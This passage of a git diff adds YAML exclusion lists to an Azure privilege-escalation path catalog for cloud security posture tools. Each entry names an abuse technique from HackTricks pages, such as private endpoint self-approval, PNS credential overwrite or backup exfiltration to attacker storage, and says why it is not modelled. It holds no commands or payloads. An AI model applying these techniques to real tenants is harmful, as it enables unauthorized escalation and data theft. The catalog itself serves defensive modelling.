SQL credential, but the exact SQL login, usable secret, observed target authority, and prior-absence proof are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-database-migration-service-privesc.md#microsoftsqlserverswrite-bundled-in-the-migration-roles--unexpected-sql-control-plane-reach + technique: "Migration roles include servers/write" + reason: "Covered by azure-sql-server-admin-password-reset." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#azure-databricks + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + technique: "Unity Catalog storage credential abuse" + reason: "NEEDS SCHEMA: a storage credential or external location can confer additional Unity Catalog or backing storage authority, but the exact caller, resource grant, and before/after effective permissions are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#microsoftdatabricksaccessconnectorswrite--attach-an-over-privileged-managed-identity + technique: "Access connector identity attach" + reason: "Using the connector identity needs Unity Catalog storage-credential privileges outside Azure RBAC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#the-managed-rg-deny-assignment-and-why-updatedenyassignment-is-not-an-attacker-primitive + technique: "Managed RG deny assignment" + reason: "Page states it is not an attacker primitive." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#defender-for-cloud + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecurityautomationswrite--abuse-the-workflow-automation-identity + technique: "Defender workflow automation identity" + reason: "Identity gain needs Microsoft.Logic/workflows/write on the target Logic App; covered by azure-logicapp-workflow-write-existing-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#deployifnotexists-remediation-identities-via-azure-policy + technique: "DINE remediation identities" + reason: 'Definition-rewrite branch NEEDS SCHEMA for exact assignment/MI join and observed remediation; assignment-write branch is separate.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-defender-for-cloud-privesc.md#microsoftsecuritypricings--connector-service-principals + technique: "Defender connector service principals" + reason: "Entra application credential paths (Entra ID catalog scope)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#catalog-poisoning-supply-chain + technique: "Catalog poisoning" + reason: "Covered by azure-devcenter-ade-deployment-identity (template_control condition)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-box-local-admin-cloud-pc--customization-rce + technique: "Dev Box local admin / customization RCE" + reason: "Dev boxes carry no documented Azure managed identity; gain is local admin on a Cloud PC." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#devtest-labs-overview + technique: "Service overview" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#foothold-vms-schedules--policy-tampering + technique: "Lab VM / schedule / policy tampering" + reason: "Persistence or DoS; no identity beyond the modelled artifact and claim paths." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#pivot-to-raw-compute + technique: "Pivot to the backing compute VM" + reason: "Covered by the Microsoft.Compute VM entries (virtual_machines.yaml) once the backing VM is reached." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#azure-digital-twins + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsqueryaction + technique: "Digital Twins query" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsread + technique: "Digital Twins twin read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsrelationshipsread + technique: "Digital Twins relationship read" + reason: "Data read." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#microsoftdigitaltwinsdigitaltwinsinstancesendpointswrite--microsoftdigitaltwinseventrouteswrite--live-telemetrygraph-exfil + technique: "Endpoint / event route exfiltration" + reason: "Telemetry and graph exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-digital-twins-privesc.md#graph--schema-integrity-writes--modelswrite-digitaltwinsrelationshipswrite-digitaltwinscommandsaction + technique: "Graph / schema integrity writes" + reason: "Data integrity impact on downstream consumers; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#event-grid + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#subscribe-to-azure-platformresource-events-with-systemtopicseventsubscriptionswrite + technique: "System topic event subscription" + reason: "Event feed exfiltration; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#backdoor-mqtt-client-via-namespacesclients--clientgroups--permissionbindingswrite + technique: "MQTT client backdoor" + reason: 'The broad historical MQTT entry did not prove client creation, group membership, permission binding, usable credential, or new publish/subscribe access. A separate typed variant now requires all of these.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#authnetwork-downgrade-with-namespaceswrite-topicswrite-domainswrite + technique: "Event Grid auth / network downgrade" + reason: "Posture downgrade; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#event-hubs + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#microsoft-fabric + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fabric-privesc.md#connection--gateway-credential-confused-deputy-exfil + technique: "Fabric connection / gateway credential abuse" + reason: "NEEDS SCHEMA: a Fabric connection or gateway may convey exact Fabric or downstream data-source authority, but the caller, target connection identity, usable access, and new effective permission are not verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-fluid-relay-privesc.md#fluid-relay + technique: "Page title" + reason: "Page title / introduction heading; no technique." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fluid-relay-post-exploitation.md#container-id-enumeration-with-fluidrelaycontainersread + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Fluid Relay container enumeration" + reason: "Enumeration only." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-fluid-relay-post-exploitation.md#cmkidentity-tamper-with-fluidrelayserverswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Fluid Relay CMK / identity tamper" + reason: "Service-side CMK identity use (DoS); no code path for the source." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfiglistaction-microsoftwebsitesconfigwrite + technique: "Function App config list/write" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#rce-via-app-settings--environment-variables-microsoftwebsitesconfigwrite + technique: "Function App RCE via app settings" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigwrite-microsoftwebsitesconfiglistaction-microsoftwebsitesread-microsoftwebsitesconfiglistaction-microsoftwebsitesconfigread + technique: "Function App config write (variant)" + reason: "Covered by azure-appservice-config-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftwebsitesread-microsoftwebsitesoperationresultsread + technique: "Function App user-assigned identity attach" + reason: "Covered by azure-appservice-assign-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntime--arm-proxy-to-the-runtime-host-statusvfs-recon-key-routes-are-platform-blocked + technique: "hostruntime ARM proxy recon" + reason: "Recon (key routes platform-blocked); VFS write is covered by azure-functions-hostruntime-vfs-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction--recover-rotatedremoved-secrets + technique: "Config snapshot secret recovery" + reason: "Covered by azure-functions-config-list-storage-key (snapshots/listsecrets any_of alternative)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshybridconnectionnamespacesrelayslistkeysaction--on-premprivate-network-pivot + technique: "Hybrid connection relay keys" + reason: "On-prem / private network pivot; no identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostsyncaction--reload-tampered-keystriggers-enabler-low-alone + technique: "host/sync" + reason: "Enabler only (reloads tampered keys/triggers); no gain alone." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml new file mode 100644 index 0000000000..be8eb5c569 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_a.yaml @@ -0,0 +1,119 @@ +# Azure exclusions from the rev 171e422 catalog refresh (agent azA): guest-configuration through managed-grafana pages. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration + technique: Page intro / service link + reason: Introductory section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-guest-configuration-privesc.md#guest-configuration-overview + technique: Guest Configuration overview + reason: Background section; the technique is modelled by azure-guestconfiguration-assignment-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#hdinsight-overview + technique: HDInsight overview + reason: 'HDInsight node/credential identity outcome NEEDS SCHEMA for exact execution and a newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#escalate-from-node-rce-to-storage--managed-identity + technique: Node RCE to storage keys and user-assigned identity + reason: Post-RCE step, not an independent permission combination; the cluster user-assigned identity it reaches is the target of the HDInsight code-execution entries (azure-hdinsight-execute-script-actions and siblings). Storage account keys in cluster configuration are data-plane credentials. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#azure-vm-image-builder + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#image-builder-overview + technique: Image Builder overview + reason: Background section; the existing-template path is modelled by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#staging-rg--build-vm-lateral-movement + technique: Staging resource group / build VM network line of sight + reason: Network pivot and staging-artifact tampering without a new identity for the source; the build-VM identity itself is reached by azure-imagebuilder-template-hijack-existing. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-image-builder-privesc.md#pivot-to-raw-compute + technique: Pivot to VM / scale set / gallery abuses + reason: Cross-reference to the VM page; the downstream techniques are catalogued in virtual_machines.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#iot-hub + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#hub-property-abuse-with-microsoftdevicesiothubswrite + technique: iotHubs/write (SAS policy backdoor, routes, storage endpoint, auth rollback, identity attach) + reason: Persistence, telemetry exfiltration and data-plane credentials over IoT device identities, which are not Azure/Entra principals. An identity attached to the hub is only used by the service for routing/egress; no code runs as it, so its token is never obtained by the source (confused-deputy egress only). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-iot-hub-post-exploitation.md#covert-built-in-events-consumer-group-with-eventhubendpointsconsumergroupswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Covert consumer group on the built-in events endpoint + reason: Telemetry read and persistence; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-iot-hub-privesc.md#rogue-x509-ca-for-device-auth-with-iothubscertificateswrite-and-the-dps-equivalent + technique: Rogue X.509 CA for device authentication (IoT Hub / DPS) + reason: "NEEDS SCHEMA: Exact device identity trusted under the CA and newly permitted authentication action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#key-vault + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#enable-the-deployment-path-with-microsoftkeyvaultvaultswrite + technique: vaults/write enables enabledForTemplateDeployment + reason: Enabler of the template-deployment path; vaults/write is already a requirement branch of azure-keyvault-secret-read-sp-credentials (it can rewrite accessPolicies directly), and enabledForTemplateDeployment is the condition of azure-keyvault-template-deployment-secret-reference. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#swap-the-authorization-model-with-microsoftkeyvaultvaultswrite-enablerbacauthorization-toggle + technique: vaults/write toggles enableRbacAuthorization to revive stored access policies + reason: Same permission and target set as the vaults/write branch of azure-keyvault-secret-read-sp-credentials (switching to the access-policy model and rewriting accessPolicies); the toggle-to-RBAC direction is denial of service. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#approve-an-attacker-private-endpoint-to-reach-a-publicnetworkaccessdisabled-vault + technique: Approve an attacker private endpoint connection + reason: Network reachability only; condition network_reachable of the Key Vault entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-kubernetes-service + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#external-oidc-authentication-on-aks + technique: AKS structured authentication with an external OIDC issuer (preview) + reason: Preview feature; becomes a pivot only when the mapped aks:jwt identity holds Kubernetes RBAC, and neither the authenticator configuration nor its write permission is collected. Not modelled until JWT authenticator facts exist. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#azure-load-testing + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#load-testing-overview + technique: Load Testing overview + reason: Background section; modelled by azure-loadtesting-test-engine-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-load-testing-privesc.md#key-vault-secret--certificate-reference-abuse + technique: Test secret/certificate references resolved by the reference identity + reason: Partial gain (Key Vault secret reads of the KeyVault reference identity) using the same data actions as azure-loadtesting-test-engine-identity, which already reaches every identity attached to the load test resource. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-log-analytics-privesc.md#attach-an-automation-account-via-workspaceslinkedserviceswrite + technique: workspaces/linkedServices/write links an Automation account + reason: Code execution depends on legacy agent-based Update Management / Change Tracking onboarding (retired with the Log Analytics agent) and on an Automation account the source already controls; no new identity from the link itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#logic-apps + technique: Page intro / service link + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsagreementslistsecretsaction--steal-b2bedi-authentication-secrets + technique: Integration account agreement secrets + reason: B2B/EDI partner secrets; data read, no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicintegrationaccountsregenerateaccesskeyaction--rotate-the-artifact-signing-key-dos--fresh-signing-secret + technique: Regenerate integration account access key + reason: Denial of service and signing material for artifact callback URLs; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftlogicworkflowsread-microsoftlogicworkflowswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach a user-assigned identity to an existing workflow + reason: Same permission combination and target set as azure-logicapp-assign-user-assigned-identity (pivot may be the existing workflow). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsiteshostlistkeysaction-microsoftwebsiteshostruntime---standard-logic-app-host-key-theft--anonymous-workflow-invoke + technique: Standard Logic App host keys / hostruntime callback URL + reason: Standard Logic Apps are Microsoft.Web/sites; the master-key path is modelled by azure-functions-host-listkeys-master-key. Invoking existing workflows only runs their fixed definition (confused deputy), like the excluded listCallbackUrl actions. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md#microsoftwebsitesconfigwrite---rce-via-app-settings--environment-variables-standard-logic-apps + technique: sites/config/write on a Standard Logic App + reason: Standard Logic Apps are Microsoft.Web/sites; modelled by azure-appservice-config-write. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-machine-learning + technique: Azure Machine Learning service introduction + reason: Introductory section; techniques are mapped by their own headings. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#azure-ml-overview + technique: Azure ML attack-surface overview + reason: Overview only; the compute, datastore and endpoint techniques are mapped individually. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#datastore-secret-theft + technique: datastores/listSecrets credential theft + reason: Covered by azure-ml-connection-secrets, which includes datastores/listSecrets/action and connections/listsecrets/action and targets service principals whose credentials are stored in the workspace; account-key/SAS datastores are data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#online--batch--serverless-endpoint-key-theft--malicious-deployment + technique: Endpoint key theft and malicious deployment + reason: Scoring keys/tokens only invoke the model (no identity). Malicious deployment as the endpoint identity is modelled by azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications + technique: Managed Applications introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#managed-applications-overview + technique: Managed Applications overview + reason: Overview of publisher authorizations and deny assignments; the escalation is mapped under listTokens. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-applications-privesc.md#deploy-as-identity-inside-a-managed-app + technique: Deploy a malicious managed app definition + reason: The deployment only acts inside a newly created managed resource group, with authorizations the attacker defines for itself; it does not reach pre-existing identities. Cross-tenant delegatedManagedIdentityResourceId grants need publisher-tenant setup. Persistence, not escalation. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#managed-devops-pools + technique: Managed DevOps Pools introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#azure-managed-grafana + technique: Managed Grafana introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-grafana-privesc.md#microsoftdashboardgrafanamanagedprivateendpointswrite--network-pivot-into-a-private-vnet + technique: Grafana managed private endpoint + reason: Network reachability only; no identity gain. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml new file mode 100644 index 0000000000..a785d30667 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_b.yaml @@ -0,0 +1,167 @@ +# Azure HackTricks techniques reviewed in the catalog refresh (group B) and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev 171e422. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#azure-maps + technique: Azure Maps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-maps-privesc.md#microsoftmapsaccountsregeneratekeyaction + technique: Maps regenerateKey + reason: Rotates and returns the Maps shared key (data-plane credential, no identity); also DoS. Same as the excluded listKeys. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#azure-monitor + technique: Azure Monitor introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsmetricalertswrite--linked-reads + technique: Metric alert pointed at an automation action group + reason: "NEEDS SCHEMA: Exact action-group receiver, controllable invocation, named automation principal, and newly authorized action must be verified; firing fixed logic alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-monitor-privesc.md#microsoftinsightsscheduledqueryruleswrite--the-same-trick-with-a-kql-alert + technique: Scheduled query alert pointed at an automation action group + reason: "NEEDS SCHEMA: Exact action-group receiver, controllable invocation, named automation principal, and newly authorized action must be verified; firing fixed logic alone is terminal." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#mysql-databases + technique: MySQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md#microsoftdbformysqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a MySQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#notification-hubs + technique: Notification Hubs introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#pns-credential-takeover-with-namespacesnotificationhubswrite + technique: Overwrite hub PNS credentials + reason: "NEEDS SCHEMA: Exact PNS service identity and newly authorized action after credential replacement must be verified." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-notification-hubs-post-exploitation.md#key-less-push-with-notificationhubsdebugsendaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: debugSend push without SAS + reason: Sends push notifications to devices; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-notification-hubs-privesc.md#web-push-key-theft-with-notificationhubsvapidkeysread + technique: VAPID key theft + reason: "NEEDS SCHEMA: Exact Web Push signing identity, usable key, and newly permitted push action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#azure-policy + technique: Azure Policy introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#the-dine--modify-remediation-identity-primitive + technique: New DINE/modify assignment with a privileged system-assigned identity + reason: Requires roleAssignments/write at the scope to grant the new identity its role, which is already modelled by azure-authorization-roleassignments-write. The user-assigned-identity and definition-rewrite variants are modelled by azure-policy-assignment-write-user-assigned-identity and azure-policy-definition-write-remediation-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#hijack-an-existing-remediation-identity + technique: Retarget or re-remediate an existing privileged policy assignment + reason: 'Definition-rewrite branch NEEDS SCHEMA for exact assignment/MI join and observed remediation.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-policy-privesc.md#turning-off-guardrails-is-itself-an-escalation-enabler + technique: Weaken Deny policies / add exemptions + reason: Defense evasion that unblocks other techniques; grants no identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#postgresql-databases + technique: PostgreSQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversstartltrbackupaction--long-term-retention-backup-exfil-to-attacker-storage-no-db-creds + technique: LTR backup to attacker SAS + reason: Data exfiltration; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversmigrationswrite--outbound-connectivity--ssrf-style-reachability-oracle + technique: Migration validate reachability oracle + reason: Network reconnaissance; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md#microsoftdbforpostgresqlflexibleserversprivateendpointconnectionswrite--self-approve-a-private-endpoint + technique: Self-approve a PostgreSQL private endpoint + reason: Network path only; data-plane access still needs the password-reset/Entra-admin entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#purview + technique: Purview introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + technique: Purview access policies into governed sources + reason: Data action not granted by any built-in ARM role; it comes from the Purview data-plane Policy Author role, which a root collection admin can self-assign (see azure-purview-add-root-collection-admin). Access policies grant data access on registered SQL/Storage sources, not another identity's privileges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountskafkaconfigurationswrite--metadata-exfil--lineage-spoof + technique: Kafka/Event Hubs notification rewiring + reason: Metadata exfiltration / lineage spoofing; no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewaccountswrite--network-open--confused-deputy-identity-swap + technique: Purview account write (network/identity swap) + reason: Opening public network access grants no identity. Attaching a user-assigned identity the attacker already controls gives the attacker nothing new, and data-source grants made to the account's previous identity do not transfer; any other change only steers fixed Purview scan logic (confused deputy). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-quantum-privesc.md#azure-quantum + technique: Azure Quantum introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-cache-for-redis + technique: Azure Cache for Redis introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#azure-managed-redis-database-keys + technique: Managed Redis (redisEnterprise) database listKeys / regenerateKey + reason: "NEEDS SCHEMA: bind the list/rotated database key to the exact Managed Redis database/default user, enabled key auth, successful authentication, and newly effective commands." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#azure-relay + technique: Azure Relay introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-relay-privesc.md#entra-rbac-relay-access-with-sendlisten-data-actions-bypasses-sas-key-disclosure + technique: Relay send/listen data actions with an Entra token + reason: Send/listen on a hybrid connection or WCF relay is data-plane traffic and network-boundary reachability into the fronted service; no new Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#sentinel + technique: Sentinel introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#automation-rule--playbook--managed-identity + technique: Edit a playbook Logic App and fire it through an automation rule + reason: The identity gain comes from Microsoft.Logic/workflows/write on the playbook, already modelled by azure-logicapp-workflow-write-existing-identity; the automation rule only supplies a run path (its run_path condition). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sentinel-privesc.md#microsoftsecurityinsights-write--workspace-access + technique: Manually trigger a privileged playbook + reason: Runs the playbook's existing, unmodified logic; confused-deputy invocation of fixed logic, not attacker-chosen execution as its identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sentinel-post-exploitation.md#kql-over-sensitive-tables + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: KQL hunting for secrets in ingested logs + reason: Data read; any harvested secret is content-dependent and not derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric + technique: Service Fabric introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#service-fabric-overview + technique: Service Fabric overview + reason: Background section; techniques are modelled in azure/service_fabric.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#service-bus + technique: Service Bus introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Receive messages with authorization-rule keys + reason: Message data read with a SAS data-plane credential; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#receive-messages-dataactions-microsoftservicebusnamespacesmessagesreceiveaction + technique: Receive messages via data action + reason: Message data read; no new identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#signalr-and-web-pubsub + technique: SignalR and Web PubSub introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#untargeted-broadcastgroupuser-injection + technique: Broadcast / group / user message injection + reason: Data-plane message injection to clients; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicesignalrserverconnectionwrite---impersonate-the-hub-application-server + technique: Server connection as the hub application server + reason: 'NEEDS SCHEMA: serverConnection/write can impersonate a SignalR hub server, but the catalog lacks an exact server identity, newly authorized hub operation, and prior-absence proof; message injection alone is a data-plane action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubauthaccesskeyaction---web-pubsub-temporary-signing-material + technique: Web PubSub temporary signing material + reason: 'NEEDS SCHEMA: signing material can mint Web 